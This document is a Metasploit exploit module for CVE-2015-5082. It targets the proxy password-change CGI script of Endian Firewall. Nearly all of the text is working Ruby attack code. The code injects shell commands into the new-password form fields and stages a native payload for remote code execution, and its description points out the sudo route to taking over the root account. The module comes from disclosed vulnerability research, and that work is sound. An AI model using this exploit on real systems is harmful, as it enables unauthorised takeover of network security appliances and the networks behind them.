Endian Firewall Proxy Password Change Command Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Endian Firewall Proxy Password Change Command Injection',  
'Description' => %q{  
This module exploits an OS command injection vulnerability in a  
web-accessible CGI script used to change passwords for locally-defined  
proxy user accounts. Valid credentials for such an account are  
required.  
  
Command execution will be in the context of the "nobody" account, but  
this account had broad sudo permissions, including to run the script  
/usr/local/bin/chrootpasswd (which changes the password for the Linux  
root account on the system to the value specified by console input  
once it is executed).  
  
The password for the proxy user account specified will *not* be  
changed by the use of this module, as long as the target system is  
vulnerable to the exploit.  
  
Very early versions of Endian Firewall (e.g. 1.1 RC5) require  
HTTP basic auth credentials as well to exploit this vulnerability.  
Use the USERNAME and PASSWORD advanced options to specify these values  
if required.  
  
Versions >= 3.0.0 still contain the vulnerable code, but it appears to  
never be executed due to a bug in the vulnerable CGI script which also  
prevents normal use (http://jira.endian.com/browse/UTM-1002).  
  
Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug  
(http://bugs.endian.com/print_bug_page.php?bug_id=3083).  
  
Tested successfully against the following versions of EFW Community:  
  
1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2.  
  
Should function against any version from 1.1 RC5 to 2.2.x, as well as  
2.4.1 and 2.5.x.  
},  
'Author' => [  
'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module  
],  
'References' => [  
['CVE', '2015-5082'],  
['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'],  
['EDB', '37426'],  
['EDB', '37428']  
],  
'Privileged' => false,  
'Platform' => %w{ linux },  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
'DisableNops' => true,  
'Space' => 2048  
},  
'Targets' =>  
[  
[ 'Linux x86',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
'CmdStagerFlavor' => [ :echo, :printf ]  
}  
],  
[ 'Linux x86_64',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86_64,  
'CmdStagerFlavor' => [ :echo, :printf ]  
}  
]  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'RPORT' => 10443  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 28 2015',  
'License' => MSF_LICENSE  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path to chpasswd.cgi CGI script',  
'/cgi-bin/chpasswd.cgi']),  
OptString.new('EFW_USERNAME', [true,  
'Valid proxy account username for the target system']),  
OptString.new('EFW_PASSWORD', [true,  
'Valid password for the proxy user account']),  
OptString.new('RPATH', [true,  
'Target PATH for binaries used by the CmdStager', '/bin'])  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 5])  
], self.class)  
  
end  
  
def exploit  
# Cannot use generic/shell_reverse_tcp inside an elf  
# Checking before proceeds  
if generate_payload_exe.blank?  
fail_with(Failure::BadConfig,  
"#{peer} - Failed to store payload inside executable, " +  
"please select a native payload")  
end  
  
execute_cmdstager(:linemax => 200, :nodelete => true)  
end  
  
def execute_command(cmd, opts)  
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")  
  
req(cmd)  
end  
  
def req(cmd)  
sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part('change', nil, nil, 'form-data; name="ACTION"')  
post_data.add_part(datastore['EFW_USERNAME'], nil, nil, 'form-data; name="USERNAME"')  
post_data.add_part(datastore['EFW_PASSWORD'], nil, nil, 'form-data; name="OLD_PASSWORD"')  
post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_1"')  
post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_2"')  
post_data.add_part(' Change password', nil, nil, 'form-data; name="SUBMIT"')  
  
data = post_data.to_s  
boundary = post_data.bound  
  
referer_url =  
"https://#{datastore['RHOST']}:#{datastore['RPORT']}" +  
"#{datastore['TARGETURI']}"  
  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => datastore['TARGETURI'],  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'headers' => {  
'Referer' => referer_url  
},  
'data' => data  
})  
  
if res  
if res.code == 401  
fail_with(Failure::NoAccess,  
"#{rhost}:#{rport} - Received a 401 HTTP response - " +  
"specify web admin credentials using the USERNAME " +  
"and PASSWORD advanced options to target this host.")  
end  
if res.code == 404  
fail_with(Failure::Unreachable,  
"#{rhost}:#{rport} - Received a 404 HTTP response - " +  
"your TARGETURI value is most likely not correct")  
end  
end  
  
end  
  
end  
`